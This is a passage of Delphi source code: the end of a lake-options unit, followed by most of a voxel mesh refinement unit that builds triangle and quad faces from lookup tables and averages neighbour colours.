procedure TSutraLakeOptions.SetStoredMinLakeVolume(const Value: TRealStorage);
begin
FStoredMinLakeVolume.Assign(Value);
end;
procedure TSutraLakeOptions.SetStoredRechargeFraction(const Value: TRealStorage);
begin
FStoredRechargeFraction.Assign(Value);
end;
procedure TSutraLakeOptions.SetStoredSubmergedOutput(const Value: TRealStorage);
begin
FStoredSubmergedOutput.Assign(Value);
end;
procedure TSutraLakeOptions.SetSubmergedOutput(const Value: double);
begin
StoredSubmergedOutput.Value := Value;
end;
end.
|
unit RefinementTrianglesSupporter;
interface
uses BasicMathsTypes, BasicDataTypes, BasicConstants, GLConstants, VoxelMap, Voxel, Palette,
VolumeGreyIntData, VertexList, TriangleList, QuadList, Normals, Windows,
Dialogs, SysUtils, VolumeFaceVerifier;
{$INCLUDE source/Global_Conditionals.inc}
type
CRefinementTrianglesSupporter = class
public
// Initialize
procedure InitializeNeighbourVertexIDsSize(var _NeighbourVertexIDs:T3DIntGrid; const _VertexMap : T3DVolumeGreyIntData; const _VoxelMap: TVoxelMap; _x, _y, _z,_VUnit: integer; const _VertexTransformation: aint32; var _NumVertices: longword);
// Misc
procedure AddRefinementFaces(_LeftBottomBack,_LeftBottomFront,_LeftTopBack,_LeftTopFront,_RightBottomBack,_RightBottomFront,_RightTopBack,_RightTopFront,_FaceFilledConfig,_x,_y,_z: integer; var _TriangleList: CTriangleList; var _QuadList: CQuadList; var _FaceVerifier: CVolumeFaceVerifier; _Color: cardinal);
function GetColourRefinement(const _Voxel : TVoxelSection; const _Palette: TPalette; _x,_y,_z,_config: integer): Cardinal;
function GetColourSurface(const _Voxel : TVoxelSection; const _Palette: TPalette; _x,_y,_z,_config: integer): Cardinal;
function GetVertex(const _VertexMap : T3DVolumeGreyIntData; _x, _y, _z,_reference,_VUnit: integer; var _NumVertices: longword; const _VoxelMap: TVoxelMap; const _VertexTransformation: aint32): integer;
procedure DetectPotentialRefinementVertexes(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
procedure DetectPotentialSurfaceVertexes(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
// procedure DetectPotentialRefinementVertexesOld(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
// procedure DetectPotentialSurfaceVertexesOld(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
procedure AddRefinementFacesFromRegions(const _Voxel : TVoxelSection; const _Palette: TPalette; var _NeighbourVertexIDs: T3DIntGrid; var _TriangleList: CTriangleList; var _QuadList: CQuadList; var _FaceVerifier: CVolumeFaceVerifier; _x, _y, _z, _AllowedFaces, _VUnit: integer);
procedure AddSurfaceFacesFromRegions(const _Voxel : TVoxelSection; const _Palette: TPalette; var _NeighbourVertexIDs: T3DIntGrid; var _TriangleList: CTriangleList; var _QuadList: CQuadList; var _FaceVerifier: CVolumeFaceVerifier; _x, _y, _z, _AllowedFaces, _VUnit: integer);
function HasMidFaceVertex(_vNE, _vNW, _vSW, _vSE, _vN, _vW, _vS, _vE, _vSelf: integer): boolean;
function HasMidFaceVertexOnSurface(_vNE, _vNW, _vSW, _vSE, _vN, _vW, _vS, _vE, _vSelf: integer): boolean;
procedure AddVertex(var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x,_y,_z,_xN,_yN,_zN: integer; var _NumVertices: longword);
end;
implementation
uses GlobalVars, BasicVXLSETypes;
procedure CRefinementTrianglesSupporter.InitializeNeighbourVertexIDsSize(var _NeighbourVertexIDs:T3DIntGrid; const _VertexMap : T3DVolumeGreyIntData; const _VoxelMap: TVoxelMap; _x, _y, _z, _VUnit: integer; const _VertexTransformation: aint32; var _NumVertices: longword);
var
x,y,z: integer;
begin
for x := 0 to 2 do
for y := 0 to 2 do
for z := 0 to 2 do
begin
_NeighbourVertexIDs[x,y,z] := C_VMG_NO_VERTEX;
end;
end;
procedure CRefinementTrianglesSupporter.AddRefinementFaces(_LeftBottomBack,_LeftBottomFront,_LeftTopBack,_LeftTopFront,_RightBottomBack,_RightBottomFront,_RightTopBack,_RightTopFront,_FaceFilledConfig,_x,_y,_z: integer; var _TriangleList: CTriangleList; var _QuadList: CQuadList; var _FaceVerifier: CVolumeFaceVerifier; _Color: cardinal);
const
QuadSet: array[1..18,0..3] of byte = ((0,4,5,1),(0,1,3,2),(0,2,6,4),(1,5,7,3),(2,3,7,6),(4,6,7,5),(2,3,5,4),(1,4,6,3),(1,5,6,2),(0,2,7,5),(0,3,7,4),(0,6,7,1),(0,4,7,3),(1,2,6,5),(0,1,7,6),(0,5,7,2),(1,3,6,4),(2,4,5,3));
QuadFaces: array[1..18] of shortint = (2,0,4,5,3,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1);
QuadConfigStart: array[0..256] of byte = (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,3,3,3,3,4,4,4,4,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,10,10,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,15,15,16,16,19,19,19,19,20,20,21,21,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,26,26,26,26,27,27,27,28,31,31,31,31,32,32,32,32,33,33,33,34,37,37,37,38,41,41,41,41,41,41,41,41,41,41,41,41,41,41,42,43,46,46,46,46,46,46,47,47,48,48,48,48,48,49,52,53,56,56,56,56,56,56,56,56,56,56,56,57,58,59,60,63,66,66,67,68,71,72,75,76,79,80,81,84,87,90,93,96,102);
QuadConfigData: array[0..101] of byte = (2,2,1,1,1,2,7,2,3,3,2,3,8,2,1,3,1,3,9,1,3,1,2,3,2,2,4,4,2,4,10,1,1,4,1,4,11,4,1,2,4,5,5,2,5,12,3,3,5,3,5,13,5,2,3,5,4,4,5,5,4,5,14,2,4,5,6,6,1,6,15,6,3,6,16,6,1,3,6,6,6,4,6,17,1,4,6,5,6,18,3,5,6,4,5,6,2,1,3,4,5,6);
TriangleSet: array[1..92,0..2] of byte = ((0,1,2),(0,2,4),(0,4,1),(1,4,2),(1,4,3),(2,3,4),(0,1,3),(1,3,5),(0,3,5),(0,5,1),(0,2,5),(1,5,3),(2,3,5),(1,5,2),(2,5,4),(0,3,4),(3,5,4),(0,3,2),(0,2,6),(2,3,6),(0,6,3),(0,6,1),(1,6,3),(1,6,2),(1,4,6),(0,4,3),(3,4,6),(0,5,3),(0,6,5),(3,5,6),(0,3,6),(0,4,5),(0,6,4),(4,6,5),(0,5,6),(0,1,6),(1,5,6),(0,5,2),(2,5,6),(1,3,2),(1,7,3),(2,3,7),(1,2,7),(0,7,1),(0,2,7),(1,4,7),(2,7,4),(1,7,2),(1,2,4),(0,7,5),(0,3,7),(1,2,5),(2,7,5),(1,5,7),(4,7,5),(1,4,5),(1,7,4),(0,7,4),(0,1,7),(1,3,4),(1,5,4),(3,7,4),(1,2,3),(4,5,7),(0,7,3),(0,6,7),(1,2,6),(1,6,7),(2,7,6),(4,6,7),(2,6,4),(2,4,7),(0,7,2),(0,4,7),(2,4,3),(3,4,7),(3,5,7),(5,6,7),(3,7,6),(3,6,5),(1,6,5),(1,3,6),(2,5,3),(2,6,5),(0,7,6),(0,5,7),(1,6,4),(1,7,6),(2,4,5),(2,5,7),(3,4,5),(3,6,4));
TriConfigStart: array[0..256] of word = (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,8,8,8,8,8,8,8,8,8,8,8,8,12,12,12,12,16,16,16,16,16,16,16,16,20,20,20,20,24,24,24,24,26,26,26,26,26,26,26,26,26,26,26,26,26,26,30,30,34,34,34,34,34,34,34,34,38,38,38,38,38,38,42,42,44,44,44,44,44,44,44,44,44,44,48,48,48,48,48,48,54,54,58,58,62,62,66,66,68,68,68,68,74,74,80,80,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,88,92,92,92,92,92,92,92,96,96,96,96,96,96,96,96,96,102,102,102,102,102,102,102,102,102,102,102,102,106,106,106,110,112,112,112,116,120,120,120,120,126,126,126,130,132,132,132,138,142,142,142,142,142,142,142,142,142,142,142,142,142,142,146,150,152,152,152,152,152,156,160,160,166,166,166,166,166,170,172,178,182,182,182,182,182,182,182,182,182,186,186,190,196,200,206,208,212,212,216,220,222,226,228,234,238,242,248,250,254,256,260,264,264);
TriConfigData: array[0..263] of byte = (1,2,3,4,3,2,5,6,7,8,9,10,10,11,12,13,1,2,14,15,7,16,12,17,2,12,18,19,20,21,22,19,23,20,3,1,24,25,18,26,20,27,3,20,28,29,30,31,10,29,19,12,20,30,32,33,34,35,33,36,37,34,38,32,39,34,1,34,7,33,31,12,30,34,18,28,32,20,30,34,12,20,30,34,40,41,42,43,44,45,41,42,46,47,48,49,3,2,41,46,47,42,10,7,50,51,40,52,53,42,10,42,54,55,56,57,58,59,54,55,1,2,54,47,48,55,60,61,62,55,7,55,63,49,56,47,42,64,2,47,42,55,18,65,19,66,40,67,41,68,19,41,69,70,71,72,73,74,69,70,3,1,46,69,48,70,75,71,76,70,18,70,40,41,49,46,71,70,3,41,46,70,77,78,79,80,81,82,79,78,10,7,29,31,79,78,83,84,77,78,18,28,29,19,77,78,40,78,10,29,19,78,33,32,85,86,87,56,88,54,33,54,89,71,69,90,32,69,48,49,56,54,71,69,1,48,54,69,91,92,79,77,28,33,32,31,79,77,56,79,7,33,31,79,71,77,18,28,32,77,40,49,56,71);
TriangleFaces: array[1..92] of shortint = (0,4,2,-1,-1,-1,0,5,-1,2,-1,5,-1,-1,-1,-1,-1,0,4,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,2,4,1,-1,-1,-1,-1,-1,0,5,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,5,1,2,-1,-1,-1,-1,2,-1,0,1,-1,-1,-1,-1,3,1,4,-1,-1,-1,-1,-1,5,1,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1);
var
Vertexes: array [0..7] of integer;
AllowedFaces: array[0..5] of boolean;
Config,Mult2: byte;
i: integer;
begin
// Fill vertexes.
Vertexes[0] := _LeftBottomBack;
Vertexes[1] := _LeftBottomFront;
Vertexes[2] := _LeftTopBack;
Vertexes[3] := _LeftTopFront;
Vertexes[4] := _RightBottomBack;
Vertexes[5] := _RightBottomFront;
Vertexes[6] := _RightTopBack;
Vertexes[7] := _RightTopFront;
// Fill faces.
AllowedFaces[0] := (_FaceFilledConfig and 32) <> 0; // left (x-1)
AllowedFaces[1] := (_FaceFilledConfig and 16) <> 0; // right (x+1)
AllowedFaces[2] := (_FaceFilledConfig and 8) <> 0; // bottom (y-1)
AllowedFaces[3] := (_FaceFilledConfig and 4) <> 0; // top (y+1)
AllowedFaces[4] := (_FaceFilledConfig and 2) <> 0; // back (z-1)
AllowedFaces[5] := (_FaceFilledConfig and 1) <> 0; // front (z+1)
// Find out vertex configuration
Config := 0;
Mult2 := 1;
for i := 0 to 7 do
begin
if Vertexes[i] <> C_VMG_NO_VERTEX then
begin
Config := Config + Mult2;
end;
Mult2 := Mult2 * 2;
end;
{$ifdef MESH_TEST}
if QuadConfigStart[config] = QuadConfigStart[config+1] then
GlobalVars.MeshFile.Add('Configuration detected and not calculated: ' + IntToStr(Config) + '. The vertexes are respectively: (' + IntToStr(Vertexes[0]) + ',' + IntToStr(Vertexes[1]) + ',' + IntToStr(Vertexes[2]) + ',' + IntToStr(Vertexes[3]) + ',' + IntToStr(Vertexes[4]) + ',' + IntToStr(Vertexes[5]) + ',' + IntToStr(Vertexes[6]) + ',' + IntToStr(Vertexes[7]) + ').');
{$endif}
// Add the new quads.
i := QuadConfigStart[config];
while i < QuadConfigStart[config+1] do // config will always be below 255
begin
if (QuadFaces[QuadConfigData[i]] = -1) then
begin
{$ifdef MESH_TEST}
if (Vertexes[QuadSet[QuadConfigData[i],0]] < 0) or (Vertexes[QuadSet[QuadConfigData[i],1]] < 0) or (Vertexes[QuadSet[QuadConfigData[i],2]] < 0) or (Vertexes[QuadSet[QuadConfigData[i],3]] < 0) then
begin
GlobalVars.MeshFile.Add('Invalid face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],0]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],1]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],2]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],3]]) + ').');
end;
GlobalVars.MeshFile.Add('Face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],0]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],1]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],2]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],3]]) + ') of the type (' + IntToStr(QuadSet[QuadConfigData[i],0]) + ',' + IntToStr(QuadSet[QuadConfigData[i],1]) + ',' + IntToStr(QuadSet[QuadConfigData[i],2]) + ',' + IntToStr(QuadSet[QuadConfigData[i],3]) + ') has been constructed.');
{$endif}
// Add face.
_QuadList.Add(Vertexes[QuadSet[QuadConfigData[i],0]],Vertexes[QuadSet[QuadConfigData[i],1]],Vertexes[QuadSet[QuadConfigData[i],2]],Vertexes[QuadSet[QuadConfigData[i],3]],_Color);
end
else if AllowedFaces[QuadFaces[QuadConfigData[i]]] then
begin
// This condition was splitted to avoid access violations.
{$ifdef MESH_TEST}
if (Vertexes[QuadSet[QuadConfigData[i],0]] < 0) or (Vertexes[QuadSet[QuadConfigData[i],1]] < 0) or (Vertexes[QuadSet[QuadConfigData[i],2]] < 0) or (Vertexes[QuadSet[QuadConfigData[i],3]] < 0) then
begin
GlobalVars.MeshFile.Add('Invalid face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],0]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],1]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],2]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],3]]) + ').');
end;
GlobalVars.MeshFile.Add('Face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],0]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],1]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],2]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],3]]) + ') of the type (' + IntToStr(QuadSet[QuadConfigData[i],0]) + ',' + IntToStr(QuadSet[QuadConfigData[i],1]) + ',' + IntToStr(QuadSet[QuadConfigData[i],2]) + ',' + IntToStr(QuadSet[QuadConfigData[i],3]) + ') from the side ' + IntToStr(QuadFaces[QuadConfigData[i]]) + ' has been constructed.');
{$endif}
// Add face.
_QuadList.Add(Vertexes[QuadSet[QuadConfigData[i],0]],Vertexes[QuadSet[QuadConfigData[i],1]],Vertexes[QuadSet[QuadConfigData[i],2]],Vertexes[QuadSet[QuadConfigData[i],3]],_Color);
_QuadList.GoToLastElement;
_FaceVerifier.AddQuadUnsafe(_QuadList.SaveState(),_x,_y,_z,QuadFaces[QuadConfigData[i]]);
end
else
begin
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],0]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],1]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],2]]) + ',' + IntToStr(Vertexes[QuadSet[QuadConfigData[i],3]]) + ') of the type (' + IntToStr(QuadSet[QuadConfigData[i],0]) + ',' + IntToStr(QuadSet[QuadConfigData[i],1]) + ',' + IntToStr(QuadSet[QuadConfigData[i],2]) + ',' + IntToStr(QuadSet[QuadConfigData[i],3]) + ') from the side ' + IntToStr(QuadFaces[QuadConfigData[i]]) + ' has been rejected.');
{$endif}
end;
// else does not add face.
inc(i);
end;
// Add the new triangles.
i := TriConfigStart[config];
while i < TriConfigStart[config+1] do // config will always be below 255
begin
if (TriangleFaces[TriConfigData[i]] = -1) then
begin
// Add face.
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],0]]) + ',' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],1]]) + ',' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],2]]) + ') of the type (' + IntToStr(TriangleSet[TriConfigData[i],0]) + ',' + IntToStr(TriangleSet[TriConfigData[i],1]) + ',' + IntToStr(TriangleSet[TriConfigData[i],2]) + ') has been constructed.');
{$endif}
_TriangleList.Add(Vertexes[TriangleSet[TriConfigData[i],0]],Vertexes[TriangleSet[TriConfigData[i],1]],Vertexes[TriangleSet[TriConfigData[i],2]],_Color);
end
else if AllowedFaces[TriangleFaces[TriConfigData[i]]] then
begin
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],0]]) + ',' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],1]]) + ',' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],2]]) + ') of the type (' + IntToStr(TriangleSet[TriConfigData[i],0]) + ',' + IntToStr(TriangleSet[TriConfigData[i],1]) + ',' + IntToStr(TriangleSet[TriConfigData[i],2]) + ') from the side ' + IntToStr(TriangleFaces[TriConfigData[i]]) + ' has been constructed.');
{$endif}
// Add face.
_TriangleList.Add(Vertexes[TriangleSet[TriConfigData[i],0]],Vertexes[TriangleSet[TriConfigData[i],1]],Vertexes[TriangleSet[TriConfigData[i],2]],_Color);
_TriangleList.GoToLastElement;
_FaceVerifier.AddTriangleUnsafe(_TriangleList.SaveState(),_x,_y,_z,TriangleFaces[TriConfigData[i]]);
end
else
begin
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Face ' + IntToStr(i) + ' from config ' + IntToStr(Config) + ' formed by (' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],0]]) + ',' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],1]]) + ',' + IntToStr(Vertexes[TriangleSet[TriConfigData[i],2]]) + ') of the type (' + IntToStr(TriangleSet[TriConfigData[i],0]) + ',' + IntToStr(TriangleSet[TriConfigData[i],1]) + ',' + IntToStr(TriangleSet[TriConfigData[i],2]) + ') from the side ' + IntToStr(TriangleFaces[TriConfigData[i]]) + ' has been rejected.');
{$endif}
end;
inc(i);
end;
end;
// Here we get an average of the colours of the neighbours of the region.
function CRefinementTrianglesSupporter.GetColourRefinement(const _Voxel : TVoxelSection; const _Palette: TPalette; _x,_y,_z,_config: integer): Cardinal;
const
CubeConfigStart: array[0..33] of byte = (0,1,4,7,10,13,20,27,34,41,42,45,46,49,50,53,54,57,58,61,64,67,70,77,84,91,98,115,132,149,166,183,200,226);
CubeConfigData: array[0..225] of byte = (0,0,1,11,0,2,15,0,3,13,0,4,9,0,2,3,5,13,14,15,0,1,3,6,11,12,13,0,2,4,7,9,15,16,0,1,4,8,9,10,11,9,9,10,11,11,11,12,13,13,13,14,15,15,9,15,16,17,11,17,18,15,17,19,13,17,20,9,17,21,13,14,15,17,19,20,22,11,12,13,17,18,20,23,9,15,16,17,19,21,24,9,10,11,17,18,21,25,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,0,1,2,4,7,8,9,10,11,15,16,17,18,19,21,24,25,0,1,2,3,5,6,11,12,13,14,15,17,18,19,20,22,23,0,2,3,4,5,7,9,13,14,15,16,17,19,20,21,22,24,0,1,3,4,6,8,9,10,11,12,13,17,18,20,21,23,25,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25);
var
Cube : TNormals;
i,maxi : integer;
r,g,b: single;
numColours: integer;
CurrentNormal : TVector3f;
V : TVoxelUnpacked;
begin
Cube := TNormals.Create(6);
maxi := Cube.GetLastID;
r := 0;
g := 0;
b := 0;
numColours := 0;
if maxi > 0 then
begin
// visit all cubed neighbours
i := CubeConfigStart[_config];
while i < CubeConfigStart[_config+1] do
begin
// add this colour.
CurrentNormal := Cube[CubeConfigData[i]];
if _Voxel.GetVoxelSafe(Round(_x + CurrentNormal.X),Round(_y + CurrentNormal.Y),Round(_z + CurrentNormal.Z),v) then
begin
if v.Used then
begin
r := r + GetRValue(_Palette[v.Colour]);
g := g + GetGValue(_Palette[v.Colour]);
b := b + GetBValue(_Palette[v.Colour]);
inc(numColours);
end;
end;
inc(i);
end;
if numColours > 0 then
begin
r := r / numColours;
g := g / numColours;
b := b / numColours;
end
else // if there is no colour, we'll try an average of all neighbours here.
begin
i := 0;
while i < 26 do
begin
CurrentNormal := Cube[i];
if _Voxel.GetVoxelSafe(Round(_x + CurrentNormal.X),Round(_y + CurrentNormal.Y),Round(_z + CurrentNormal.Z),v) then
begin
if v.Used then
begin
r := r + GetRValue(_Palette[v.Colour]);
g := g + GetGValue(_Palette[v.Colour]);
b := b + GetBValue(_Palette[v.Colour]);
inc(numColours);
end;
end;
inc(i);
end;
if numColours > 0 then
begin
r := r / numColours;
g := g / numColours;
b := b / numColours;
end;
end;
end;
Result := RGB(Round(r),Round(g),Round(b));
Cube.Free;
end;
function CRefinementTrianglesSupporter.GetColourSurface(const _Voxel : TVoxelSection; const _Palette: TPalette; _x,_y,_z,_config: integer): Cardinal;
const
CubeConfigStart: array[0..33] of byte = (0,1,4,7,10,13,20,27,34,41,42,45,46,49,50,53,54,57,58,61,64,67,70,77,84,91,98,115,132,149,166,183,200,226);
CubeConfigData: array[0..225] of byte = (0,0,1,11,0,2,15,0,3,13,0,4,9,0,2,3,5,13,14,15,0,1,3,6,11,12,13,0,2,4,7,9,15,16,0,1,4,8,9,10,11,9,9,10,11,11,11,12,13,13,13,14,15,15,9,15,16,17,11,17,18,15,17,19,13,17,20,9,17,21,13,14,15,17,19,20,22,11,12,13,17,18,20,23,9,15,16,17,19,21,24,9,10,11,17,18,21,25,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,0,1,2,4,7,8,9,10,11,15,16,17,18,19,21,24,25,0,1,2,3,5,6,11,12,13,14,15,17,18,19,20,22,23,0,2,3,4,5,7,9,13,14,15,16,17,19,20,21,22,24,0,1,3,4,6,8,9,10,11,12,13,17,18,20,21,23,25,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25);
NeighbourWeight: array[0..25] of byte = (4,2,2,2,2,1,1,1,1,4,2,4,2,4,2,4,2,4,2,2,2,2,1,1,1,1);
var
Cube : TNormals;
i,maxi : integer;
r,g,b: single;
numColours: integer;
CurrentNormal : TVector3f;
V : TVoxelUnpacked;
begin
Cube := TNormals.Create(6);
maxi := Cube.GetLastID;
_Voxel.GetVoxel(_x,_y,_z,v);
r := 7 * GetRValue(_Palette[v.Colour]);
g := 7 * GetGValue(_Palette[v.Colour]);
b := 7 * GetBValue(_Palette[v.Colour]);
numColours := 7;
if maxi > 0 then
begin
// visit all cubed neighbours
i := CubeConfigStart[_config];
while i < CubeConfigStart[_config+1] do
begin
// add this colour.
CurrentNormal := Cube[CubeConfigData[i]];
if _Voxel.GetVoxelSafe(Round(_x + CurrentNormal.X),Round(_y + CurrentNormal.Y),Round(_z + CurrentNormal.Z),v) then
begin
if v.Used then
begin
r := r + (NeighbourWeight[i] * GetRValue(_Palette[v.Colour]));
g := g + (NeighbourWeight[i] * GetGValue(_Palette[v.Colour]));
b := b + (NeighbourWeight[i] * GetBValue(_Palette[v.Colour]));
inc(numColours,NeighbourWeight[i]);
end;
end;
inc(i);
end;
end;
r := r / numColours;
g := g / numColours;
b := b / numColours;
Result := RGB(Round(r),Round(g),Round(b));
Cube.Free;
end;
function CRefinementTrianglesSupporter.GetVertex(const _VertexMap : T3DVolumeGreyIntData; _x, _y, _z,_reference,_VUnit: integer; var _NumVertices: longword; const _VoxelMap: TVoxelMap; const _VertexTransformation: aint32): integer;
const
RegionSet: array[0..7,0..2] of short = ((-1,-1,-1),(-1,-1,0),(-1,0,-1),(-1,0,0),(0,-1,-1),(0,-1,0),(0,0,-1),(0,0,0));
VertexBit: array[0..7] of byte = (1,2,4,8,16,32,64,128);
begin
if _VertexMap.isPixelValid(_x*_VUnit,_y*_VUnit,_z*_Vunit) then
begin
Result := _VertexMap.DataUnsafe[_x*_VUnit,_y*_VUnit,_z*_VUnit];
if Result <> C_VMG_NO_VERTEX then
begin
if (Round(_VoxelMap.MapSafe[_x - RegionSet[_reference,0],_y - RegionSet[_reference,1],_z - RegionSet[_reference,2]]) and VertexBit[_reference]) = 0 then
begin
Result := C_VMG_NO_VERTEX;
end;
end;
end
else
begin
Result := C_VMG_NO_VERTEX;
end;
end;
function CRefinementTrianglesSupporter.HasMidFaceVertex(_vNE, _vNW, _vSW, _vSE, _vN, _vW, _vS, _vE, _vSelf: integer): boolean;
const
ValidConfigs: array[0..3] of byte = (12,9,3,6);
var
CountCorner,CountCenter,CenterConfig,i: byte;
Found : boolean;
begin
Result := false;
if _vSelf = C_VMG_NO_VERTEX then
begin
CountCorner := 0;
if _vNE <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if _vNW <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if _vSE <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if _vSW <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if CountCorner = 3 then
begin
CountCenter := 0;
CenterConfig := 0;
if (_vS <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
CenterConfig := CenterConfig or 8;
end;
if (_vW <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
CenterConfig := CenterConfig or 4;
end;
if (_vN <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
CenterConfig := CenterConfig or 2;
end;
if (_vE <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
inc(CenterConfig);
end;
if CountCenter = 2 then
begin
Found := false;
i := 0;
while i < 4 do
begin
if CenterConfig = ValidConfigs[i] then
begin
Found := true;
i := 4;
end
else
begin
inc(i);
end;
end;
if Found then
begin
Result := true;
end;
end
else if CountCenter > 2 then
begin
Result := true;
end;
end
else if CountCorner = 4 then
begin
CountCenter := 0;
if (_vS <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
end;
if (_vW <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
end;
if (_vN <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
end;
if (_vE <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
end;
if CountCenter = 3 then
begin
Result := true;
end;
end;
end;
end;
function CRefinementTrianglesSupporter.HasMidFaceVertexOnSurface(_vNE, _vNW, _vSW, _vSE, _vN, _vW, _vS, _vE, _vSelf: integer): boolean;
const
ValidConfigs: array[0..3] of byte = (12,9,3,6);
var
CountCorner,CountCenter,CenterConfig,i: byte;
Found : boolean;
begin
Result := false;
if _vSelf = C_VMG_NO_VERTEX then
begin
CountCorner := 0;
if _vNE <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if _vNW <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if _vSE <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if _vSW <> C_VMG_NO_VERTEX then
begin
inc(CountCorner);
end;
if CountCorner = 3 then
begin
CountCenter := 0;
CenterConfig := 0;
if (_vS <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
CenterConfig := CenterConfig or 8;
end;
if (_vW <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
CenterConfig := CenterConfig or 4;
end;
if (_vN <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
CenterConfig := CenterConfig or 2;
end;
if (_vE <> C_VMG_NO_VERTEX) then
begin
inc(CountCenter);
inc(CenterConfig);
end;
if CountCenter = 2 then
begin
Found := false;
i := 0;
while i < 4 do
begin
if CenterConfig = ValidConfigs[i] then
begin
Found := true;
i := 4;
end
else
begin
inc(i);
end;
end;
if Found then
begin
Result := true;
end;
end
else if CountCenter > 2 then
begin
Result := true;
end;
end
else if CountCorner = 4 then
begin
Result := true;
end;
end;
end;
procedure CRefinementTrianglesSupporter.AddVertex(var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x,_y,_z,_xN,_yN,_zN: integer; var _NumVertices: longword);
begin
if _VertexMap[_x,_y,_z] = C_VMG_NO_VERTEX then
begin
_VertexMap[_x,_y,_z] := _NumVertices;
